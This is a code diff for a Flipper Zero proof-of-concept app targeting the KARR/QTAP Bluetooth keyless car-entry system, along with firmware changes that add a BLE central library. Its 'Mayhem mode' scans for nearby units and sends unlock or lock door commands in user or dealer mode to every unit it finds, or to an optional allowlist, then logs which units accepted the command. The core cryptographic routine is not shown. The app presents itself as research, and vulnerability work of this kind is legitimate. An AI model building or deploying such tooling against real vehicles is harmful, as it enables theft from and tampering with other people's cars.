QtMode mode;
|
||||
QtCommand command;
|
||||
|
||||
switch(event.event) {
|
||||
case KarrPocEvent_MayhemUnlockUser:
|
||||
mode = QtMode_User;
|
||||
command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemLockUser:
|
||||
mode = QtMode_User;
|
||||
command = QtCmd_LockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemUnlockDealer:
|
||||
mode = QtMode_Dealer;
|
||||
command = QtCmd_UnlockDoors;
|
||||
break;
|
||||
case KarrPocEvent_MayhemLockDealer:
|
||||
mode = QtMode_Dealer;
|
||||
command = QtCmd_LockDoors;
|
||||
break;
|
||||
default:
|
||||
return false;
|
||||
}
|
||||
|
||||
app->mayhem_mode = mode;
|
||||
app->mayhem_command = command;
|
||||
|
||||
if(app->allowlist_enabled) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
|
||||
} else {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemConfirm);
|
||||
}
|
||||
consumed = true;
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_menu_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
static bool karr_poc_device_in_allowlist(KarrPocApp* app, const char* name) {
|
||||
for(size_t i = 0; i < app->allowlist_count; i++) {
|
||||
if(strcmp(app->allowlist[i], name) == 0) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static void karr_poc_scene_mayhem_run_device_callback(
|
||||
const KarrBleDevice* device,
|
||||
KarrMayhemResult result,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
const char* label;
|
||||
switch(result) {
|
||||
case KarrMayhemResult_Success:
|
||||
label = "OK";
|
||||
break;
|
||||
case KarrMayhemResult_AuthFailed:
|
||||
label = "AUTH FAILED";
|
||||
break;
|
||||
case KarrMayhemResult_ConnectFailed:
|
||||
label = "CONNECT FAILED";
|
||||
break;
|
||||
default:
|
||||
label = "?";
|
||||
break;
|
||||
}
|
||||
|
||||
furi_string_cat_printf(app->log_text, "%s -> %s\n", device->name, label);
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_run_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
text_box_reset(app->text_box);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
KarrBleDevice targets[KARR_BLE_MAX_DEVICES];
|
||||
size_t target_count = 0;
|
||||
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
bool allowed = !app->allowlist_enabled || karr_poc_device_in_allowlist(app, app->devices[i].name);
|
||||
if(allowed && target_count < KARR_BLE_MAX_DEVICES) {
|
||||
targets[target_count++] = app->devices[i];
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_cat_printf(
|
||||
app->log_text,
|
||||
"\nMayhem: %zu of %zu units%s\n\n",
|
||||
target_count,
|
||||
app->device_count,
|
||||
app->allowlist_enabled ? " (filtered by allowlist)" : "");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
if(target_count == 0) {
|
||||
furi_string_cat_str(
|
||||
app->log_text, "No units found match the\nallowlist. Nothing to do.\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
|
||||
return;
|
||||
}
|
||||
|
||||
karr_ble_mayhem_run(
|
||||
targets,
|
||||
target_count,
|
||||
app->mayhem_mode,
|
||||
app->mayhem_command,
|
||||
karr_poc_scene_mayhem_run_device_callback,
|
||||
app);
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_run_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_MayhemRunDone) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_run_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
#define MAYHEM_SCAN_DURATION_MS 4000
|
||||
|
||||
static void karr_poc_scene_mayhem_scan_ble_callback(
|
||||
KarrBleStatus status,
|
||||
const char* message,
|
||||
void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
if(status == KarrBleStatus_DeviceFound) {
|
||||
if(app->device_count < KARR_BLE_MAX_DEVICES) {
|
||||
KarrBleDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
|
||||
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
memset(dev->address, 0, sizeof(dev->address));
|
||||
dev->rssi = 0;
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_scan_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
app->device_count = 0;
|
||||
furi_string_reset(app->log_text);
|
||||
text_box_reset(app->text_box);
|
||||
furi_string_cat_str(app->log_text, "Scanning for devices...\n\nPlease wait...\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
karr_ble_scan_start(karr_poc_scene_mayhem_scan_ble_callback, app);
|
||||
|
||||
furi_delay_ms(MAYHEM_SCAN_DURATION_MS);
|
||||
|
||||
karr_ble_scan_stop();
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
furi_string_cat_printf(
|
||||
app->log_text, "Scan complete: %zu devices found\n\n", app->device_count);
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
furi_string_cat_printf(
|
||||
app->log_text, "%zu. %s\n", i + 1, app->devices[i].name);
|
||||
}
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemScanDone);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_mayhem_scan_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_MayhemScanDone) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemRun);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_mayhem_scan_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static void karr_poc_scene_result_widget_callback(GuiButtonType result, InputType type, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
if(type == InputTypeShort) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, result);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_result_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget, 0, 0, 128, 50, furi_string_get_cstr(app->log_text));
|
||||
widget_add_button_element(
|
||||
app->widget, GuiButtonTypeCenter, "Back to start", karr_poc_scene_result_widget_callback, app);
|
||||
|
||||
karr_ble_disconnect();
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_result_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == GuiButtonTypeCenter) {
|
||||
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_Start);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_result_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
widget_reset(app->widget);
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
#include <string.h>
|
||||
|
||||
static void karr_poc_scene_scan_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
static void karr_poc_scene_scan_ble_callback(KarrBleStatus status, const char* message, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
if(status == KarrBleStatus_DeviceFound) {
|
||||
if(app->device_count < KARR_BLE_MAX_DEVICES) {
|
||||
KarrBleDevice* dev = &app->devices[app->device_count];
|
||||
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
|
||||
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
memset(dev->address, 0, sizeof(dev->address));
|
||||
dev->rssi = 0;
|
||||
|
||||
submenu_add_item(
|
||||
app->submenu,
|
||||
dev->name,
|
||||
app->device_count,
|
||||
karr_poc_scene_scan_submenu_callback,
|
||||
app);
|
||||
|
||||
app->device_count++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_scan_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
app->device_count = 0;
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "Scanning...");
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
|
||||
karr_ble_scan_start(karr_poc_scene_scan_ble_callback, app);
|
||||
|
||||
submenu_set_header(app->submenu, "Units found:");
|
||||
}
|
||||
|
||||
bool karr_poc_scene_scan_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
uint32_t index = event.event;
|
||||
if(index < app->device_count) {
|
||||
app->selected_device = index;
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_DeviceMenu);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_scan_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
karr_ble_scan_stop();
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
typedef enum {
|
||||
KarrPocStartIndex_Scan,
|
||||
KarrPocStartIndex_Mayhem,
|
||||
KarrPocStartIndex_About,
|
||||
} KarrPocStartIndex;
|
||||
|
||||
static void karr_poc_scene_start_submenu_callback(void* context, uint32_t index) {
|
||||
KarrPocApp* app = context;
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, index);
|
||||
}
|
||||
|
||||
void karr_poc_scene_start_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
submenu_reset(app->submenu);
|
||||
submenu_set_header(app->submenu, "KARR BLE PoC");
|
||||
submenu_add_item(
|
||||
app->submenu, "Scan for units", KarrPocStartIndex_Scan, karr_poc_scene_start_submenu_callback, app);
|
||||
submenu_add_item(
|
||||
app->submenu, "Mayhem mode", KarrPocStartIndex_Mayhem, karr_poc_scene_start_submenu_callback, app);
|
||||
submenu_add_item(
|
||||
app->submenu, "About", KarrPocStartIndex_About, karr_poc_scene_start_submenu_callback, app);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
}
|
||||
|
||||
bool karr_poc_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocStartIndex_Scan) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Scan);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocStartIndex_Mayhem) {
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemMenu);
|
||||
consumed = true;
|
||||
} else if(event.event == KarrPocStartIndex_About) {
|
||||
widget_reset(app->widget);
|
||||
widget_add_text_scroll_element(
|
||||
app->widget,
|
||||
0,
|
||||
0,
|
||||
128,
|
||||
64,
|
||||
"KARR/QTAP BLE PoC\n\n"
|
||||
"BLE remote keyless system\n"
|
||||
"research project.\n\n"
|
||||
"Protocol and cryptography\n"
|
||||
"analysis of the KARR/QTAP\n"
|
||||
"automotive system.\n\n"
|
||||
"See project documentation\n"
|
||||
"for technical details.");
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void karr_poc_scene_start_on_exit(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
submenu_reset(app->submenu);
|
||||
}
|
||||
@@ -27,9 +27,9 @@ COPRO_CUBE_VERSION = "1.20.0"
|
||||
COPRO_CUBE_DIR = "lib/stm32wb_copro"
|
||||
|
||||
# Default radio stack
|
||||
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_light_fw.bin"
|
||||
# Firmware also supports "ble_full", but it might not fit into debug builds
|
||||
COPRO_STACK_TYPE = "ble_light"
|
||||
COPRO_STACK_BIN = "stm32wb5x_BLE_Stack_full_fw.bin"
|
||||
# Firmware also supports "ble_light", but it might not fit into debug builds
|
||||
COPRO_STACK_TYPE = "ble_full"
|
||||
|
||||
# Leave 0 to let scripts automatically calculate it
|
||||
COPRO_STACK_ADDR = "0x0"
|
||||
|
||||
@@ -41,6 +41,7 @@ libs = env.BuildModules(
|
||||
"update_util",
|
||||
"heatshrink",
|
||||
"ble_profile",
|
||||
"ble_central",
|
||||
"bit_lib",
|
||||
"datetime",
|
||||
"ieee754_parse_wrap",
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
Import("env")
|
||||
|
||||
env.Append(
|
||||
CPPPATH=[
|
||||
"#/lib/ble_central",
|
||||
],
|
||||
SDK_HEADERS=[
|
||||
File("ble_central.h"),
|
||||
],
|
||||
)
|
||||
|
||||
libenv = env.Clone(FW_LIB_NAME="ble_central")
|
||||
libenv.AppendUnique(
|
||||
CCFLAGS=[
|
||||
"-mword-relocations",
|
||||
"-mlong-calls",
|
||||
],
|
||||
)
|
||||
libenv.ApplyLibFlags()
|
||||
|
||||
sources = libenv.GlobRecursive("*.c")
|
||||
|
||||
lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources)
|
||||
libenv.Install("${LIB_DIST_DIR}", lib)
|
||||
Return("lib")
|
||||
@@ -0,0 +1,18 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
uint8_t aci_gap_start_general_discovery_proc(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Own_Address_Type, uint8_t Filter_Duplicates);
|
||||
uint8_t aci_gap_terminate_gap_proc(uint8_t Procedure_Code);
|
||||
uint8_t aci_gap_create_connection(uint16_t LE_Scan_Interval, uint16_t LE_Scan_Window, uint8_t Peer_Address_Type, const uint8_t* Peer_Address, uint8_t Own_Address_Type, uint16_t Conn_Interval_Min, uint16_t Conn_Interval_Max, uint16_t Conn_Latency, uint16_t Supervision_Timeout, uint16_t Minimum_CE_Length, uint16_t Maximum_CE_Length);
|
||||
uint8_t hci_disconnect(uint16_t Connection_Handle, uint8_t Reason);
|
||||
uint8_t aci_gatt_disc_all_primary_services(uint16_t Connection_Handle);
|
||||
uint8_t aci_gatt_write_char_value(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
|
||||
uint8_t aci_gatt_write_without_resp(uint16_t Connection_Handle, uint16_t Attr_Handle, uint8_t Attribute_Val_Length, const uint8_t* Attribute_Val);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,357 @@
|
||||
#include "ble_central.h"
|
||||
|
||||
#include <ble/ble.h>
|
||||
#include <ble_glue.h>
|
||||
#include <furi_ble/event_dispatcher.h>
|
||||
#include <interface/patterns/ble_thread/tl/hci_tl.h>
|
||||
#include <furi.h>
|
||||
|
||||
#define TAG "BleCentral"
|
||||
#define BLE_CENTRAL_SCAN_INTERVAL 0x100
|
||||
#define BLE_CENTRAL_SCAN_WINDOW 0x50
|
||||
|
||||
typedef struct {
|
||||
BleCentralEventCallback callback;
|
||||
void* context;
|
||||
GapSvcEventHandler* handler_ref;
|
||||
uint16_t connection_handle;
|
||||
bool connected;
|
||||
bool scanning;
|
||||
} BleCentral;
|
||||
|
||||
static BleCentral* ble_central = NULL;
|
||||
|
||||
static const char* ble_central_status_str(uint8_t status) {
|
||||
switch(status) {
|
||||
case 0x00: return "SUCCESS";
|
||||
case 0x01: return "UNKNOWN_HCI_CMD";
|
||||
case 0x02: return "UNKNOWN_CONN_ID";
|
||||
case 0x03: return "HW_FAILURE";
|
||||
case 0x04: return "PAGE_TIMEOUT";
|
||||
case 0x05: return "AUTH_FAILURE";
|
||||
case 0x06: return "PIN_MISSING";
|
||||
case 0x07: return "MEM_CAP_EXCEEDED";
|
||||
case 0x08: return "CONN_TIMEOUT";
|
||||
case 0x09: return "CONN_LIMIT_EXCEEDED";
|
||||
case 0x0A: return "SYNC_CONN_LIMIT_EXCEEDED";
|
||||
case 0x0B: return "ACL_CONN_ALREADY_EXISTS";
|
||||
case 0x0C: return "CMD_DISALLOWED";
|
||||
case 0x0D: return "CONN_REJ_LIMITED_RESOURCES";
|
||||
case 0x0E: return "CONN_REJ_SECURITY_REASONS";
|
||||
case 0x0F: return "CONN_REJ_UNACCEPTABLE_BDADDR";
|
||||
case 0x10: return "CONN_ACCEPT_TIMEOUT";
|
||||
case 0x11: return "UNSUPPORTED_FEATURE";
|
||||
case 0x12: return "INVALID_HCI_CMD_PARAMS";
|
||||
case 0x13: return "REMOTE_USER_TERM_CONN";
|
||||
case 0x14: return "REMOTE_DEV_TERM_CONN_LOW_RESOURCES";
|
||||
case 0x15: return "REMOTE_DEV_TERM_CONN_POWER_OFF";
|
||||
case 0x16: return "CONN_TERM_BY_LOCAL_HOST";
|
||||
case 0x92: return "INVALID_PARAMS";
|
||||
case 0x97: return "ERROR";
|
||||
default: return "UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
static BleCentralAdvertisedDevice* ble_central_parse_advert_report(void* data) {
|
||||
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)data)->data);
|
||||
if(event_pckt->evt != HCI_LE_META_EVT_CODE) return NULL;
|
||||
|
||||
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
|
||||
if(meta_evt->subevent != HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) return NULL;
|
||||
|
||||
hci_le_advertising_report_event_rp0* adv_rpt =
|
||||
(hci_le_advertising_report_event_rp0*)meta_evt->data;
|
||||
|
||||
if(adv_rpt->Num_Reports == 0) return NULL;
|
||||
|
||||
uint8_t data_len = adv_rpt->Advertising_Report[0].Length_Data;
|
||||
uint8_t* data_ptr = &adv_rpt->Advertising_Report[0].Length_Data + 1;
|
||||
int8_t rssi = *(int8_t*)(data_ptr + data_len);
|
||||
|
||||
BleCentralAdvertisedDevice* device = malloc(sizeof(BleCentralAdvertisedDevice));
|
||||
device->address_type = adv_rpt->Advertising_Report[0].Address_Type;
|
||||
memcpy(device->address, adv_rpt->Advertising_Report[0].Address, 6);
|
||||
device->rssi = rssi;
|
||||
device->name[0] = '\0';
|
||||
|
||||
uint8_t pos = 0;
|
||||
while(pos < data_len) {
|
||||
uint8_t field_len = data_ptr[pos];
|
||||
if(field_len == 0) break;
|
||||
uint8_t field_type = data_ptr[pos + 1];
|
||||
if(field_type == AD_TYPE_COMPLETE_LOCAL_NAME ||
|
||||
field_type == AD_TYPE_SHORTENED_LOCAL_NAME) {
|
||||
uint8_t name_len = field_len - 1;
|
||||
if(name_len > 31) name_len = 31;
|
||||
memcpy(device->name, &data_ptr[pos + 2], name_len);
|
||||
device->name[name_len] = '\0';
|
||||
break;
|
||||
}
|
||||
pos += field_len + 1;
|
||||
}
|
||||
|
||||
return device;
|
||||
}
|
||||
|
||||
static BleEventAckStatus ble_central_event_handler(void* event, void* context) {
|
||||
UNUSED(context);
|
||||
if(!ble_central || !ble_central->callback) return BleEventNotAck;
|
||||
|
||||
hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data);
|
||||
|
||||
FURI_LOG_I(TAG, "HCI event: evt=0x%02X", event_pckt->evt);
|
||||
|
||||
if(event_pckt->evt == HCI_LE_META_EVT_CODE) {
|
||||
evt_le_meta_event* meta_evt = (evt_le_meta_event*)event_pckt->data;
|
||||
FURI_LOG_I(TAG, "LE Meta event: subevent=0x%02X", meta_evt->subevent);
|
||||
|
||||
if(meta_evt->subevent == HCI_LE_ADVERTISING_REPORT_SUBEVT_CODE) {
|
||||
BleCentralAdvertisedDevice* device = ble_central_parse_advert_report(event);
|
||||
if(device) {
|
||||
FURI_LOG_I(TAG, "Device found: %s [%02X:%02X:%02X:%02X:%02X:%02X] rssi=%d",
|
||||
device->name,
|
||||
device->address[0], device->address[1], device->address[2],
|
||||
device->address[3], device->address[4], device->address[5],
|
||||
device->rssi);
|
||||
ble_central->callback(BleCentralEventDeviceFound, device, ble_central->context);
|
||||
free(device);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
}
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) {
|
||||
evt_blecore_aci* blue_evt = (evt_blecore_aci*)event_pckt->data;
|
||||
FURI_LOG_I(TAG, "Vendor event: ecode=0x%04X", blue_evt->ecode);
|
||||
if(blue_evt->ecode == ACI_GAP_PROC_COMPLETE_VSEVT_CODE) {
|
||||
FURI_LOG_I(TAG, "GAP procedure complete");
|
||||
ble_central->scanning = false;
|
||||
ble_central->callback(BleCentralEventGattProcComplete, NULL, ble_central->context);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
if(event_pckt->evt == HCI_DISCONNECTION_COMPLETE_EVT_CODE) {
|
||||
FURI_LOG_W(TAG, "Disconnection complete (handle=0x%04X)", ble_central->connection_handle);
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
ble_central->callback(BleCentralEventDisconnected, NULL, ble_central->context);
|
||||
return BleEventAckFlowEnable;
|
||||
}
|
||||
|
||||
return BleEventNotAck;
|
||||
}
|
||||
|
||||
static void ble_central_free(void) {
|
||||
if(!ble_central) return;
|
||||
if(ble_central->handler_ref) {
|
||||
ble_event_dispatcher_unregister_svc_handler(ble_central->handler_ref);
|
||||
}
|
||||
free(ble_central);
|
||||
ble_central = NULL;
|
||||
}
|
||||
|
||||
bool ble_central_scan_start(BleCentralEventCallback callback, void* context) {
|
||||
furi_check(callback != NULL);
|
||||
furi_check(context != NULL);
|
||||
|
||||
if(ble_central) {
|
||||
FURI_LOG_W(TAG, "scan_start: already initialized, cleaning up previous instance");
|
||||
ble_central_free();
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "ble_central_scan_start: callback=%p ctx=%p", callback, context);
|
||||
|
||||
ble_central = malloc(sizeof(BleCentral));
|
||||
ble_central->callback = callback;
|
||||
ble_central->context = context;
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
ble_central->scanning = false;
|
||||
|
||||
ble_central->handler_ref =
|
||||
ble_event_dispatcher_register_svc_handler(ble_central_event_handler, ble_central);
|
||||
if(!ble_central->handler_ref) {
|
||||
FURI_LOG_E(TAG, "ble_event_dispatcher_register_svc_handler FAILED");
|
||||
ble_central_free();
|
||||
return false;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Event handler registered: %p", ble_central->handler_ref);
|
||||
|
||||
FURI_LOG_I(TAG,
|
||||
"Calling aci_gap_start_general_discovery_proc(interval=0x%04X, window=0x%04X, addr_type=0x%02X, filter=0x%02X)",
|
||||
BLE_CENTRAL_SCAN_INTERVAL, BLE_CENTRAL_SCAN_WINDOW, 0x00, 0x00);
|
||||
|
||||
tBleStatus status = aci_gap_start_general_discovery_proc(
|
||||
BLE_CENTRAL_SCAN_INTERVAL,
|
||||
BLE_CENTRAL_SCAN_WINDOW,
|
||||
0x00,
|
||||
0x00);
|
||||
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gap_start_general_discovery_proc FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
ble_central_free();
|
||||
return false;
|
||||
}
|
||||
|
||||
ble_central->scanning = true;
|
||||
FURI_LOG_I(TAG, "Scan started successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_scan_stop(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_W(TAG, "scan_stop: not initialized");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(ble_central->scanning) {
|
||||
FURI_LOG_I(TAG, "Stopping scan (terminating GAP discovery proc)");
|
||||
tBleStatus status = aci_gap_terminate_gap_proc(GAP_GENERAL_DISCOVERY_PROC);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_W(TAG, "aci_gap_terminate_gap_proc returned 0x%02X (%s) — may have already completed",
|
||||
status, ble_central_status_str(status));
|
||||
}
|
||||
ble_central->scanning = false;
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "scan_stop: GAP proc already completed, cleaning up");
|
||||
}
|
||||
|
||||
ble_central_free();
|
||||
FURI_LOG_I(TAG, "Scan stopped");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_connect(const uint8_t* address, uint8_t address_type) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "connect: ble_central is NULL (not initialized)");
|
||||
return false;
|
||||
}
|
||||
if(ble_central->connected) {
|
||||
FURI_LOG_W(TAG, "connect: already connected (handle=0x%04X)", ble_central->connection_handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Connecting to %02X:%02X:%02X:%02X:%02X:%02X type=%d",
|
||||
address[0], address[1], address[2], address[3], address[4], address[5], address_type);
|
||||
|
||||
tBleStatus status = aci_gap_create_connection(
|
||||
0x100, 0x50,
|
||||
address_type,
|
||||
address,
|
||||
0x00,
|
||||
0x28, 0x38,
|
||||
0x00, 0x100,
|
||||
0x0010, 0x0010);
|
||||
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gap_create_connection FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Connection initiated, waiting for HCI_LE_CONNECTION_COMPLETE");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_disconnect(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "disconnect: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_W(TAG, "disconnect: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Disconnecting handle=0x%04X reason=0x13", ble_central->connection_handle);
|
||||
tBleStatus status = hci_disconnect(ble_central->connection_handle, 0x13);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "hci_disconnect FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
ble_central->connected = false;
|
||||
ble_central->connection_handle = 0;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_discover_services(void) {
|
||||
if(!ble_central) {
|
||||
FURI_LOG_E(TAG, "discover_services: ble_central is NULL");
|
||||
return false;
|
||||
}
|
||||
if(!ble_central->connected) {
|
||||
FURI_LOG_E(TAG, "discover_services: not connected");
|
||||
return false;
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Discovering primary services on handle=0x%04X",
|
||||
ble_central->connection_handle);
|
||||
tBleStatus status = aci_gatt_disc_all_primary_services(ble_central->connection_handle);
|
||||
if(status != BLE_STATUS_SUCCESS) {
|
||||
FURI_LOG_E(TAG, "aci_gatt_disc_all_primary_services FAILED: 0x%02X (%s)",
|
||||
status, ble_central_status_str(status));
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ble_central_write_command(uint16_t handle, const uint8_t* data, uint16_t len) {
|
||||
if(!ble_central) {
|
||||
